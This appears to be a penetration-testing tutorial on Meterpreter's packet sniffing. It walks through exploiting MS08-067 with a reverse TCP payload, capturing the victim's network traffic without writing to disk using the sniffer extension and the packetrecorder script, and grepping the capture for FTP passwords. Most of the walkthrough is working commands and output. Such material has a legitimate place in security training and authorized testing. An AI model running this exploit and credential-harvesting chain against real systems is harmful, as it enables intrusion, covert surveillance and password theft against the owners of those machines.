Meterpreter has the capability of packet sniffing the remote host without ever touching the hard disk. This is especially useful if we want to monitor what type of information is being sent, and even better, this is probably the start of multiple auxiliary modules that will ultimately look for sensitive data within the capture files. The sniffer module can store up to 200,000 packets in a ring buffer and exports them in standard PCAP format so you can process them using psnuffle, dsniff, wireshark, etc.
We first fire off our remote exploit toward the victim and gain our standard reverse Meterpreter console.
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpeter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 10.211.55.126 msf exploit(ms08_067_netapi) > set RHOST 10.10.1.119 msf exploit(ms08_067_netapi) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Triggering the vulnerability... [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Sending stage (205824 bytes) [*] Meterpreter session 1 opened (10.10.1.4:4444 -> 10.10.1.119:1921)
From here we initiate the sniffer on interface 1 and start collecting packets. We then dump the sniffer output to /tmp/all.cap.
meterpreter > use sniffer Loading extension sniffer...success. meterpreter > help Sniffer Commands ================ Command Description ------- ----------- sniffer_dump Retrieve captured packet data sniffer_interfaces List all remote sniffable interfaces sniffer_start Capture packets on a previously opened interface sniffer_stats View statistics of an active capture sniffer_stop Stop packet captures on the specified interface meterpreter > sniffer_interfaces 1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false ) meterpreter > sniffer_start 1 [*] Capture started on interface 1 (200000 packet buffer) meterpreter > sniffer_dump 1 /tmp/all.cap [*] Dumping packets from interface 1... [*] Wrote 19 packets to PCAP file /tmp/all.cap meterpreter > sniffer_dump 1 /tmp/all.cap [*] Dumping packets from interface 1... [*] Wrote 199 packets to PCAP file /tmp/all.cap
We can now use our favorite parser or packet analysis tool to review the information intercepted.
The Meterpreter packet sniffer uses the MicroOLAP Packet Sniffer SDK and can sniff the packets from the victim machine without ever having to install any drivers or write to the file system. The module is smart enough to realize its own traffic as well and will automatically remove any traffic from the Meterpreter interaction. In addition, Meterpreter pipes all information through an SSL/TLS tunnel and is fully encrypted.
As an alternative to using the sniffer extension, Carlos Perez wrote the packetrecorder Meterpreter script that allows for some more granularity when capturing packets. To see what options are available, we issue the "run packetrecorder" comamnd without any arguments.
meterpreter > run packetrecorder Meterpreter Script for capturing packets in to a PCAP file on a target host given a interface ID. OPTIONS: -h Help menu. -i
Interface ID number where all packet capture will be done. -l Specify and alternate folder to save PCAP file. -li List interfaces that can be used for capture. -t Time interval in seconds between recollection of packet, default 30 seconds.
Before we start sniffing traffic, we first need to determine which interfaces are available to us.
meterpreter > run packetrecorder -li 1 - 'Realtek RTL8139 Family PCI Fast Ethernet NIC' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false ) 2 - 'Citrix XenServer PV Ethernet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false ) 3 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
We will begin sniffing traffic on the second interface, saving the logs to the desktop of our BackTrack system and let the sniffer run for awhile.
meterpreter > run packetrecorder -i 2 -l /root/ [*] Starting Packet capture on interface 2 [+] Packet capture started [*] Packets being saved in to /root/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105/XEN-XP-SP2-BARE_20101119.5105.cap [*] Packet capture interval is 30 Seconds ^C [*] Interrupt [+] Stopping Packet sniffer... meterpreter >
There is now a capture file waiting for us that can be analyzed in a tool such as Wireshark or tshark. We will take a quick look to see if we captured anything interesting.
root@kali:~/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105# tshark -r XEN-XP-SP2-BARE_20101119.5105.cap |grep PASS Running as user "root" and group "root". This could be dangerous. 2489 82.000000 192.168.1.201 -> 184.108.40.206 FTP Request: PASS s3cr3t 2685 96.000000 192.168.1.201 -> 220.127.116.11 FTP Request: PASS s3cr3t